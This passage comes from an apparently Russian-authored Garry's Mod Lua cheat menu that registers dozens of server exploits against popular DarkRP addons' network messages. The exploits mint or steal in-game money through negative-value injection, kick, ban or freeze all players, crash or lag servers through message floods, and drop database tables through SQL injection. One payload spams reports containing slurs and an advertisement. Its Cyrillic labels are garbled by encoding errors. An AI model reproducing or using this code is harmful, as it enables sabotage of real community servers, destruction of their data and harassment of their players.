8717end
8718
8719status = ValidNetString("NET_DoPrinterAction")
8720if (status) then
8721CHATPRINT("Ðайден ÐкÑплоит: УкраÑть вÑе деньги #8 [NET_DoPrinterAction]")
8722addExploit( "99","УкраÑть вÑе деньги #8", "withdraw money from all printers", function()
8723surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8724for k, v in pairs(ents.GetAll()) do
8725if v:GetClass():find("print") then
8726net.Start("NET_DoPrinterAction")
8727net.WriteEntity(LocalPlayer())
8728net.WriteEntity(v)
8729net.WriteInt(2,16)
8730net.SendToServer()
8731end
8732end
8733end )
8734end
8735
8736status = ValidNetString("tickbooksendfine")
8737if (status) then
8738CHATPRINT("Ðайден ÐкÑплоит: Тикет бук [tickbooksendfine]")
8739addExploit( "100","Ticket Book", "allows you to write a fine to all players, ", function()
8740surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8741local reasonstable = {"Nice nan ? :D"}
8742for k, v in pairs(player.GetAll()) do
8743if v != LocalPlayer() then
8744net.Start("tickbooksendfine")
8745net.WriteString(v:SteamID())
8746net.WriteTable(reasonstable)
8747net.WriteDouble(1500, 32)
8748net.SendToServer()
8749end
8750end
8751end )
8752end
8753
8754status = ValidNetString("SyncPrinterButtons16690")
8755if (status) then
8756CHATPRINT("Ðайден ÐкÑплоит: УкраÑть вÑе деньги #9 [SyncPrinterButtons16690]")
8757addExploit( "101","УкраÑть вÑе деньги #9", "withdraw money from all printers", function()
8758surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8759for k, v in pairs(ents.GetAll()) do
8760if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
8761net.Start("SyncPrinterButtons16690")
8762net.WriteEntity(v)
8763net.WriteUInt(2, 4)
8764net.SendToServer()
8765end
8766end
8767end)
8768end
8769
8770status = ValidNetString("withdrawp")
8771if (status) then
8772CHATPRINT("Ðайден ÐкÑплоит: УкраÑть вÑе деньги #10 [withdrawp]")
8773addExploit( "102","УкраÑть вÑе деньги #10", "withdraw money from all printers", function()
8774surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8775for k,v in pairs(ents.FindByClass("derma_printer")) do
8776net.Start("withdrawp")
8777net.WriteEntity(v)
8778net.SendToServer()
8779end
8780end)
8781end
8782
8783status = ValidNetString("withdrawp")
8784if (status) then
8785CHATPRINT("Ðайден ÐкÑплоит: Лаггер #19 [withdrawp]")
8786addExploit( "103","Лаггер #19", "", function()
8787surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8788timer.Create("lagger19", 0, 0, function()
8789for i=1,1000 do
8790net.Start("withdrawp",true)
8791net.WriteEntity(LocalPlayer())
8792net.SendToServer()
8793end
8794end )
8795end )
8796end
8797
8798status = ValidNetString("DarkRP_SS_Gamble")
8799if (status) then
8800CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #3 [DarkRP_SS_Gamble]")
8801addExploit( "104","БеÑплатные деньги #3", "Exploit Provenant De L'addon 'DarkRP Casino'", function()
8802surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8803net.Start("DarkRP_SS_Gamble")
8804net.WriteInt(99999, 32)
8805net.WriteInt(1, 32)
8806net.WriteInt(0, 32)
8807net.WriteInt(0, 32)
8808net.WriteInt(1, 32)
8809net.SendToServer()
8810end )
8811end
8812
8813status = ValidNetString("PCAdd")
8814if (status) then
8815CHATPRINT("Ðайден ÐкÑплоит: Промокод [PCAdd]")
8816addExploit( "105","Supprimer Code Promo", "delete all promocodes", function()
8817surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8818net.Start("PCAdd")
8819net.WriteString("alahman")
8820net.WriteString("300000000")
8821net.SendToServer()
8822timer.Simple(3,function()
8823net.Start("ActivatePC")
8824net.WriteString("alahman")
8825net.SendToServer()
8826net.Start("PCDelAll")
8827net.SendToServer()
8828end )
8829end )
8830end
8831
8832status = ValidNetString("viv_hl2rp_disp_message")
8833if (status) then
8834CHATPRINT("Ðайден ÐкÑплоит: Хл2 ГолоÑовые ÑÐ¾Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ñ [viv_hl2rp_disp_message]")
8835addExploit( "106","HL2 Message Vocal", "hl2 voice commands", function()
8836surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8837for name, command in pairs (dispatchCommands) do
8838net.Start("viv_hl2rp_disp_message")
8839net.WriteString(command)
8840net.SendToServer()
8841end
8842end )
8843end
8844
8845status = ValidNetString("Kun_SellDrug")
8846if (status) then
8847CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #4 [Kun_SellDrug]")
8848addExploit( "107","БеÑплатные деньги #4", "get monies", function()
8849surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") if !timer.Exists( "freemoney4" ) then
8850--("Démarré")
8851timer.Create( "freemoney4", 0, 0, function()
8852for i=1,1000 do
8853net.Start("Kun_SellDrug")
8854net.WriteString("mushroom")
8855net.SendToServer()
8856end
8857end)
8858else
8859timer.Remove( "freemoney4" )
8860--("Stopping")
8861end
8862end )
8863end
8864
8865status = ValidNetString("net_PSUnBoxServer")
8866if (status) then
8867CHATPRINT("Ðайден ÐкÑплоит: Поинт шоп ÐнбокÑ[net_PSUnBoxServer]")
8868addExploit( "108","Point Shop Unbox", "Exploit Provenant De L'addon 'Point Shop", function()
8869surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8870for k,v in pairs(player.GetAll()) do
8871local i = 0
8872for k2,v2 in pairs(PS.Items) do
8873if !v:PS_HasItem(v2.ID) then
8874timer.Simple(k*i*1.7,function()
8875net.Start("net_PSUnBoxServer")
8876net.WriteEntity(v)
8877net.WriteString(v2.ID)
8878net.SendToServer()
8879end)
8880i = i + 1
8881end
8882end
8883end
8884end )
8885end
8886
8887status = ValidNetString("pplay_sendtable")
8888if (status) then
8889CHATPRINT("Ðайден ÐкÑплоит: ☢ Уничтожить Базу Данных SQLMenu ☢ [pplay_sendtable]")
8890addExploit( "109","☢ Détruire La BDMenu SQL ☢", "Tout Détruire", function()
8891surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8892local tbl = {}
8893tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
8894tbl.ply = LocalPlayer()
8895net.Start("pplay_sendtable")
8896net.WriteTable(tbl)
8897net.SendToServer()
8898end )
8899end
8900
8901status = ValidNetString("75_plus_win")
8902if (status) then
8903CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #5 [75_plus_win]")
8904addExploit( "110","БеÑплатные деньги #5", "Recevoir De L'Argent", function()
8905surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8906net.Start("75_plus_win")
8907net.WriteString("99999999")
8908net.WriteEntity(LocalPlayer())
8909net.SendToServer()
8910end )
8911end
8912
8913status = ValidNetString("ATMDepositMoney")
8914if (status) then
8915CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #6 [ATMDepositMoney]")
8916addExploit( "111","БеÑплатные деньги #6", "an exploit in 'ATM'", function()
8917surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8918net.Start("ATMDepositMoney")
8919net.WriteFloat(-9999999)
8920net.SendToServer()
8921end )
8922end
8923
8924status = ValidNetString("SellMinerals")
8925if (status) then
8926CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #7 [SellMinerals]")
8927addExploit( "112","БеÑплатные деньги #7", "an exploit in 'eMining'", function()
8928surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8929for k,v in pairs(SkillDB) do
8930if not ( v.iSkill == true ) then
8931net.Start("Upgrade")
8932net.WriteTable( { LuaName = v.LuaName, Amount = -9999999 } )
8933net.SendToServer()
8934net.Start("SellMinerals")
8935net.WriteTable({ Target = LocalPlayer() })
8936net.SendToServer()
8937end
8938end
8939end )
8940end
8941
8942status = ValidNetString("TakeBetMoney")
8943if (status) then
8944CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #8 [TakeBetMoney]")
8945addExploit( "113","БеÑплатные деньги #8", "Recevoir De L'Argent", function()
8946surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8947net.Start("TakeBetMoney")
8948net.WriteTable({1e333333 , 1e333333})
8949net.SendToServer()
8950end )
8951end
8952
8953status = ValidNetString("Kun_SellOil")
8954if (status) then
8955CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #9 [Kun_SellOil]")
8956addExploit( "114","БеÑплатные деньги #9", "Recevoir De L'Argent", function()
8957surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8958for k,v in pairs(ents.GetAll()) do
8959net.Start("Kun_SellOil")
8960net.WriteEntity(v)
8961net.SendToServer()
8962end
8963end )
8964end
8965
8966status = ValidNetString("DepositMoney")
8967if (status) then
8968CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #10 [DepositMoney]")
8969addExploit( "115","БеÑплатные деньги #10", "Recevoir De L'Argent", function()
8970surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8971net.Start("DepositMoney")
8972for k,v in pairs(ents.GetAll()) do
8973net.WriteEntity(v)
8974net.WriteString(-100000000 )
8975net.WriteEntity(LocalPlayer())
8976net.SendToServer()
8977end
8978end )
8979end
8980
8981status = ValidNetString("NET_SS_DoBuyTakeoff")
8982if (status) then
8983CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #11 [NET_SS_DoBuyTakeoff]")
8984addExploit( "116","БеÑплатные деньги #11", "Recevoir De L'Argent", function()
8985surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
8986net.Start("NET_SS_DoBuyTakeoff",true)
8987net.WriteEntity(LocalPlayer())
8988net.WriteEntity(table.Random(player.GetAll()))
8989net.WriteTable({})
8990net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
8991net.SendToServer()
8992end )
8993end
8994
8995status = ValidNetString("NET_EcSetTax")
8996if (status) then
8997CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #12 [NET_EcSetTax]")
8998addExploit( "117","БеÑплатные деньги #12", "Recevoir De L'Argent", function()
8999surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9000net.Start("NET_EcSetTax")
9001net.WriteInt(-9999999999, 16)
9002net.SendToServer()
9003end )
9004end
9005
9006status = ValidNetString("RP_Accept_Fine")
9007if (status) then
9008CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #13 [RP_Accept_Fine]")
9009addExploit( "118","БеÑплатные деньги #13", "Recevoir De L'Argent", function()
9010surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9011for k,v in pairs(player.GetAll())do
9012net.Start("RP_Accept_Fine")
9013net.WriteString(v:Nick())
9014net.WriteDouble(-999999999999)
9015net.SendToServer()
9016end
9017end )
9018end
9019
9020status = ValidNetString("drugseffect_remove")
9021if (status) then
9022CHATPRINT("Ðайден ÐкÑплоит: Удалить вÑÑ‘ оружие [drugseffect_remove]")
9023addExploit( "119","Supprimer Armes", "Supprimer Toutes Les Armes", function()
9024surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9025net.Start("drugseffect_remove")
9026net.SendToServer()
9027end )
9028end
9029
9030status = ValidNetString("drugs_money")
9031if (status) then
9032CHATPRINT("Ðайден ÐкÑплоит: Удалить деньги [drugs_money]")
9033addExploit( "120","Supprimer L'Argent", "Adieu L'argent :c", function()
9034surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9035net.Start("drugs_money")
9036net.SendToServer()
9037end )
9038end
9039
9040status = ValidNetString("CRAFTINGMOD_SHOP")
9041if (status) then
9042CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #14 [CRAFTINGMOD_SHOP]")
9043addExploit( "121","БеÑплатные деньги #14", "an exploit in 'crafting mod'", function()
9044surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9045net.Start("CRAFTINGMOD_SHOP")
9046net.WriteTable({
9047BUY = -9999999;
9048type = 1
9049})
9050net.WriteInt(1,16)
9051net.SendToServer()
9052end )
9053end
9054
9055status = ValidNetString("drugs_ignite")
9056if (status) then
9057CHATPRINT("Ðайден ÐкÑплоит: Поджечь вÑех [drugs_ignite]")
9058addExploit( "122","Brûler Des Joueurss", "", function()
9059surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9060net.Start("drugs_ignite")
9061net.WriteString("player")
9062net.SendToServer()
9063end )
9064end
9065
9066status = ValidNetString("drugs_ignite")
9067if (status) then
9068CHATPRINT("Ðайден ÐкÑплоит: Поджечь пропы [drugs_ignite]")
9069addExploit( "123","Props En Feu", "", function()
9070surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9071net.Start("drugs_ignite")
9072net.WriteString("prop_physics")
9073net.SendToServer()
9074end )
9075end
9076
9077status = ValidNetString("drugseffect_hpremove")
9078if (status) then
9079CHATPRINT("Ðайден ÐкÑплоит: Спам PM [drugseffect_hpremove]")
9080addExploit( "124","Modifier PV", "", function()
9081surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9082net.Start("drugseffect_hpremove")
9083net.WriteString(99999)
9084net.SendToServer()
9085end )
9086end
9087
9088status = ValidNetString("drugs_text")
9089if (status) then
9090CHATPRINT("Ðайден ÐкÑплоит: Удалить вÑе пропы #2 [drugs_text]")
9091addExploit( "125","Supprimer Tous Les Props #2", "", function()
9092surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9093net.Start("drugs_text")
9094net.WriteString("prop_physics")
9095net.SendToServer()
9096end )
9097end
9098
9099status = ValidNetString("drugs_give")
9100if (status) then
9101CHATPRINT("Ðайден ÐкÑплоит: Выдать вÑем RPG [drugs_give]")
9102addExploit( "126","Donnez Un RPG A Tout Le Monde", "", function()
9103surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9104net.Start("drugs_give")
9105net.WriteString("weapon_rpg")
9106net.SendToServer()
9107end )
9108end
9109
9110status = ValidNetString("drugs_text")
9111if (status) then
9112CHATPRINT("Ðайден ÐкÑплоит: Удалить воду [drugs_text]")
9113addExploit( "127","Supprimer L'Eau", "", function()
9114surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9115net.Start("drugs_text")
9116net.WriteString("func_water_analog")
9117net.SendToServer()
9118end )
9119end
9120
9121status = ValidNetString("drugs_effect")
9122if (status) then
9123local eye = LocalPlayer():GetEyeTrace().Entity
9124local send = "del|"..eye:EntIndex()
9125CHATPRINT("Ðайден ÐкÑплоит: Удалить то на что Ñмотришь [drugs_effect]")
9126addExploit( "128","Supprimer ce qu'on regarde", "", function()
9127surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9128net.Start("drugs_effect")
9129net.WriteString(send)
9130net.SendToServer()
9131end )
9132end
9133
9134status = ValidNetString("RecKickAFKer")
9135if (status) then
9136CHATPRINT("Ðайден ÐкÑплоит: Кикнуть веÑÑŒ Ñервер #2 [RecKickAFKer]")
9137addExploit( "129","Kick Tous Le Monde #2", "Kick Tous Le Monde", function()
9138surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9139for k, v in pairs( player.GetAll() ) do
9140net.Start("RecKickAFKer")
9141net.WriteEntity(v)
9142net.SendToServer()
9143end
9144end )
9145end
9146
9147status = ValidNetString("GMBG:PickupItem")
9148if (status) then
9149CHATPRINT("Ðайден ÐкÑплоит: Получить предметы [GMBG:PickupItem]")
9150addExploit( "130","Recevoir Items", "", function()
9151surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9152for k, v in pairs(ents.GetAll()) do
9153if v:GetClass() == "item_loot" then
9154net.Start("GMBG:PickupItem")
9155net.WriteEntity(v)
9156net.SendToServer()
9157net.Start("GMBG:PickupItem")
9158net.WriteEntity(v)
9159net.SendToServer()
9160net.Start("GMBG:PickupItem")
9161net.WriteEntity(v)
9162net.SendToServer()
9163net.Start("GMBG:PickupItem")
9164net.WriteEntity(v)
9165net.SendToServer()
9166net.Start("GMBG:PickupItem")
9167net.WriteEntity(v)
9168net.SendToServer()
9169net.Start("GMBG:PickupItem")
9170net.WriteEntity(v)
9171net.SendToServer()
9172end
9173end
9174end )
9175end
9176
9177status = ValidNetString("plyWarning")
9178if (status) then
9179CHATPRINT("Ðайден ÐкÑплоит: Кикнуть вÑех на Ñервере #3 [plyWarning]")
9180addExploit( "131","Kick Tous Le Monde #3", "Kick Tous Le Monde", function()
9181surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9182for k, v in pairs( player.GetAll() ) do
9183net.Start('plyWarning')
9184net.WriteEntity(v)
9185net.WriteString('You have to select a player before doing a action.')
9186net.SendToServer()
9187end
9188end )
9189end
9190
9191status = ValidNetString("NLR.ActionPlayer")
9192if (status) then
9193CHATPRINT("Ðайден ÐкÑплоит: Зафризить вÑех [NLR.ActionPlayer]")
9194addExploit( "132","Freeze Tout Le Monde", "", function()
9195surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9196for k, v in pairs( player.GetAll() ) do
9197net.Start("NLR.ActionPlayer")
9198net.WriteEntity(v)
9199net.SendToServer()
9200end
9201end )
9202end
9203
9204status = ValidNetString("kart_sell")
9205if (status) then
9206CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #15 [kart_sell]")
9207addExploit( "133","БеÑплатные деньги #15", "Recevoir De L'Argent", function()
9208surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9209for i=1, 300 do
9210net.Start("kart_sell")
9211net.WriteString("sw_gokart")
9212net.SendToServer()
9213end
9214end )
9215end
9216
9217status = ValidNetString("ClickerAddToPoints")
9218if (status) then
9219CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные Поинты [ClickerAddToPoints]")
9220addExploit( "134","Point Gratuit", "", function()
9221surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9222net.Start("ClickerAddToPoints")
9223net.WriteInt(99999999, 32)
9224net.SendToServer()
9225end )
9226end
9227
9228status = ValidNetString("bodyman_model_change")
9229if (status) then
9230CHATPRINT("Ðайден ÐкÑплоит: Боди Груп [bodyman_model_change]")
9231addExploit( "135","Body Groups", "constantly changes your appearance", function()
9232surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9233local PM = 1
9234local SK = 1
9235local BG = 1
9236local HN = 1
9237local TS = 1
9238local GL = 1
9239local LG = 1
9240if !timer.Exists( "bodygroups" ) then
9241timer.Create("bodygroups", 0, 0, function()
9242PlayerModels = {0,1,2,3,4,5,6}
9243Torso = {0,1,2,3,4,5,6,7,8,9,10}
9244Legs = {0,1,2,3,4,5,6}
9245Hands = {0,1,2}
9246Glasses = {0,1}
9247Skins = {0,1,2,3,4,5,6,7,8,9,10}
9248PM = PM+1
9249TS = TS+1
9250LG = LG+1
9251HN = HN+1
9252GL = GL+1
9253SK = SK+1
9254if (PM>#PlayerModels) then PM=1 end
9255if (SK>#Skins) then SK=1 end
9256if (HN>#Hands) then HN=1 end
9257if (TS>#Torso) then TS=1 end
9258if (GL>#Glasses) then GL=1 end
9259if (LG>#Legs) then LG=1 end
9260net.Start("bodyman_model_change")
9261net.WriteInt(PlayerModels[PM], 10 )
9262net.SendToServer()
9263net.Start("bodygroups_change")
9264net.WriteTable( { 1, Torso[TS] } )
9265net.SendToServer()
9266net.Start("bodygroups_change")
9267net.WriteTable( { 2, Legs[LG] } )
9268net.SendToServer()
9269net.Start("bodygroups_change")
9270net.WriteTable( { 3, Hands[HN] } )
9271net.SendToServer()
9272net.Start("bodygroups_change")
9273net.WriteTable( { 4, Glasses[GL] } )
9274net.SendToServer()
9275end )
9276else
9277timer.Remove("bodygroups")
9278--("Stopping")
9279end
9280end )
9281end
9282
9283status = ValidNetString("SendMoney")
9284if (status) then
9285CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #16 [SendMoney]")
9286addExploit( "136","БеÑплатные деньги #16", "Recevoir De L'Argent", function()
9287surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9288hook.Remove( "HUDPaint", "skhdsakjl")
9289net.Start("SendMoney")
9290net.WriteEntity(LocalPlayer())
9291net.WriteEntity(LocalPlayer())
9292net.WriteEntity(LocalPlayer())
9293net.WriteString("-99999999")
9294net.SendToServer()
9295end )
9296end
9297
9298status = ValidNetString("BailOut")
9299if (status) then
9300CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #17 [BailOut]")
9301addExploit( "137","БеÑплатные деньги #17", "", function()
9302surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9303for k, v in pairs(player.GetAll()) do
9304net.Start("BailOut")
9305net.WriteEntity(LocalPlayer())
9306net.WriteEntity(v)
9307net.WriteFloat(-999999999)
9308net.SendToServer()
9309end
9310end )
9311end
9312
9313status = ValidNetString("hitcomplete")
9314if (status) then
9315CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #18 [hitcomplete]")
9316addExploit( "138","БеÑплатные деньги #18", "Recevoir De L'Argent", function()
9317surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9318net.Start("hitcomplete")
9319net.WriteDouble(99999999)
9320net.SendToServer()
9321end )
9322end
9323----------------------------------------
9324for k,v in pairs(player.GetAll()) do
9325dahater = v
9326end
9327----------------------------------------
9328status = ValidNetString("hhh_request")
9329if (status) then
9330CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #19 [hhh_request]")
9331addExploit( "139","БеÑплатные деньги #19", "Recevoir De L'Argent", function()
9332surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9333local plyhhh = LocalPlayer()
9334if dahater != plyhhh then
9335local hitRequest = {}
9336hitRequest.hitman = plyhhh
9337hitRequest.requester = plyhhh
9338hitRequest.target = dahater
9339hitRequest.reward = -9999999
9340net.Start('hhh_request')
9341net.WriteTable(hitRequest)
9342net.SendToServer()
9343else
9344CHATPRINT("СаÑатт лохи!")
9345end
9346end )
9347end
9348
9349status = ValidNetString("DaHit")
9350if (status) then
9351CHATPRINT("Ðайден ÐкÑплоит: БеÑплатные деньги #20 [DaHit]")
9352addExploit( "140","БеÑплатные деньги #20", "Recevoir De L'Argent", function()
9353surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9354hook.Remove( "HUDPaint", "skhdsakjl")
9355net.Start("DaHit")
9356net.WriteFloat(-99999999)
9357net.WriteEntity(LocalPlayer())
9358net.WriteEntity(LocalPlayer())
9359net.WriteEntity(LocalPlayer())
9360net.SendToServer()
9361end )
9362end
9363
9364status = ValidNetString("textstickers_entdata")
9365if (status) then
9366CHATPRINT("Ðайден ÐкÑплоит: Крашер #2 [textstickers_entdata]")
9367addExploit( "141","Crash #2", "1tap", function()
9368surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9369net.Start("textstickers_entdata")
9370net.WriteUInt(0xFFFFFFF, 32)
9371net.SendToServer()
9372end )
9373end
9374
9375status = ValidNetString("gBan.BanBuffer")
9376if (status) then
9377CHATPRINT("Ðайден ÐкÑплоит: Забанить каждого [gBan.BanBuffer]")
9378addExploit( "142","gBan Tout Le Monde", "Marche avec la vieille version de GBan", function()
9379surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9380for k,v in pairs(player.GetAll()) do
9381if v != LocalPlayer() then
9382net.Start("gBan.BanBuffer")
9383net.WriteBool(true)
9384net.WriteInt(0, 32)
9385net.WriteString("haha owned")
9386net.WriteString(v:SteamID())
9387net.SendToServer()
9388end
9389end
9390end )
9391end
9392
9393status = ValidNetString("ARMORY_RetrieveWeapon")
9394if (status) then
9395CHATPRINT("Ðайден ÐкÑплоит: БеÑÐ¿Ð»Ð°Ñ‚Ð½Ð°Ñ Ð±Ñ€Ð¾Ð½Ñ #1 [ARMORY_RetrieveWeapon]")
9396addExploit( "143","Armure Gratuite #1", "get weapon #1", function()
9397surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9398net.Start("ARMORY_RetrieveWeapon")
9399net.WriteString("weapon1")
9400net.SendToServer()
9401end )
9402end
9403
9404status = ValidNetString("ARMORY_RetrieveWeapon")
9405if (status) then
9406CHATPRINT("Ðайден ÐкÑплоит: БеÑÐ¿Ð»Ð°Ñ‚Ð½Ð°Ñ Ð±Ñ€Ð¾Ð½Ñ #2 [ARMORY_RetrieveWeapon]")
9407addExploit( "144","Armure Gratuite #2", "get weapon #2", function()
9408surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9409net.Start("ARMORY_RetrieveWeapon")
9410net.WriteString("weapon2")
9411net.SendToServer()
9412end )
9413end
9414
9415status = ValidNetString("ARMORY_RetrieveWeapon")
9416if (status) then
9417CHATPRINT("Ðайден ÐкÑплоит: БеÑÐ¿Ð»Ð°Ñ‚Ð½Ð°Ñ Ð±Ñ€Ð¾Ð½Ñ #3 [ARMORY_RetrieveWeapon]")
9418addExploit( "145","Armure Gratuite #3", "get weapon #3", function()
9419surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9420net.Start("ARMORY_RetrieveWeapon")
9421net.WriteString("weapon3")
9422net.SendToServer()
9423end )
9424end
9425
9426status = ValidNetString("TransferReport")
9427if (status) then
9428CHATPRINT("Ðайден ÐкÑплоит: Спам репортами [TransferReport]")
9429addExploit( "146","Spam De Report", "Report Tout Le Monde players", function()
9430surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9431net.Start("TransferReport")
9432net.WriteString(v:SteamID())
9433net.WriteString("CHINKGANG FAGOTS")
9434net.WriteString("DITCH THIS SHITTY SERVER AND BUY Pity TODAY")
9435net.SendToServer()
9436end )
9437end
9438
9439status = ValidNetString("FIRE_CreateFireTruck")
9440if (status) then
9441CHATPRINT("Ðайден ÐкÑплоит: Создать пожарную машину [FIRE_CreateFireTruck]")
9442addExploit( "147","Crée Un Camion De Pompier", "", function()
9443surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9444net.Start("FIRE_CreateFireTruck")
9445net.SendToServer()
9446end )
9447end
9448
9449status = ValidNetString("TFA_Attachment_RequestAll")
9450if (status) then
9451CHATPRINT("Ðайден ÐкÑплоит: Лаггер #20 [TFA_Attachment_RequestAll]")
9452addExploit( "148","Лаггер #20", "an exploit in 'TFA Weapon Pack', discovered by zerg314", function()
9453surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") if !timer.Exists( "lagger20" ) then
9454timer.Create("lagger20", 0,0, function()
9455for i = 1, 800 do
9456net.Start("TFA_Attachment_RequestAll",true)
9457net.SendToServer()
9458end
9459end)
9460--("Lags Démarré")
9461else
9462timer.Remove("lagger20")
9463--("Lags Arreté")
9464end
9465end)
9466end
9467
9468status = ValidNetString("FIRE_RemoveFireTruck")
9469if (status) then
9470CHATPRINT("Ðайден ÐкÑплоит: Удалить пожарную машину [FIRE_RemoveFireTruck]")
9471addExploit( "149","Supprimer Les Camions De Pompier", "", function()
9472surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9473net.Start("FIRE_RemoveFireTruck")
9474net.SendToServer()
9475end )
9476end
9477
9478status = ValidNetString("gPrinters.sendID")
9479if (status) then
9480CHATPRINT("Ðайден ÐкÑплоит: Лаггер #21 [gPrinters.sendID]")
9481addExploit( "150","Лаггер #21", "B1G LAGZ, ", function()
9482surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("ÐкÑплойт запущен") --("Démarré")
9483if not timer.Exists("lagger21") then
9484timer.Create("lagger21", 0, 0, function()
9485for i = 1, 1000 do
9486net.Start("gPrinters.sendID",true)
9487net.WriteEntity(LocalPlayer())
9488net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 8)
9489net.SendToServer()
9490end
9491end )
9492end
9493end )
9494end
9495
9496status = ValidNetString("requestmoneyforvk") -- RusElite Server
9497if (status) then
